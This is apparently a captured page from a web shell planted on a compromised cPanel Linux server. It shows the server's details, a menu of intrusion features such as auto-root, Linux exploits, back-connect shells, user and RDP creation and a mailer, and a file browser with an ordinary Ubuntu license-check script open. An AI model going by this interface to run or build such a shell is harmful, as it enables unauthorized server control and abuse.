Linux cpanel.rrshost.in 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64
Apache
: 109.123.238.221 | : 172.70.130.41
138 Domain
8.2.28
aev999
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
ubuntu-advantage /
[ HOME SHELL ]
Name
Size
Permission
Action
apt-esm-hook
42.24
KB
-rwxr-xr-x
apt-esm-json-hook
1.82
MB
-rwxr-xr-x
license_check.py
872
B
-rw-r--r--
patch_status_json.py
2.35
KB
-rwxr-xr-x
reboot_cmds.py
5.12
KB
-rw-r--r--
timer.py
4.79
KB
-rw-r--r--
upgrade_lts_contract.py
2.88
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : license_check.py
""" Try to auto-attach in a GCP instance. This should only work if the instance has a new UA license attached to it """ import logging from uaclient.cli import setup_logging from uaclient.config import UAConfig from uaclient.jobs.license_check import gcp_auto_attach LOG = logging.getLogger("ua_lib.license_check") if __name__ == "__main__": cfg = UAConfig() # The ua-license-check logger should log everything to its file setup_logging( logging.CRITICAL, logging.DEBUG, log_file=cfg.license_check_log_file, logger=LOG, ) # Make sure the ua-license-check logger does not generate double logging LOG.propagate = False # The root logger should log any error to the timer log file setup_logging( logging.CRITICAL, logging.ERROR, log_file=cfg.license_check_log_file ) gcp_auto_attach(cfg=cfg)
Close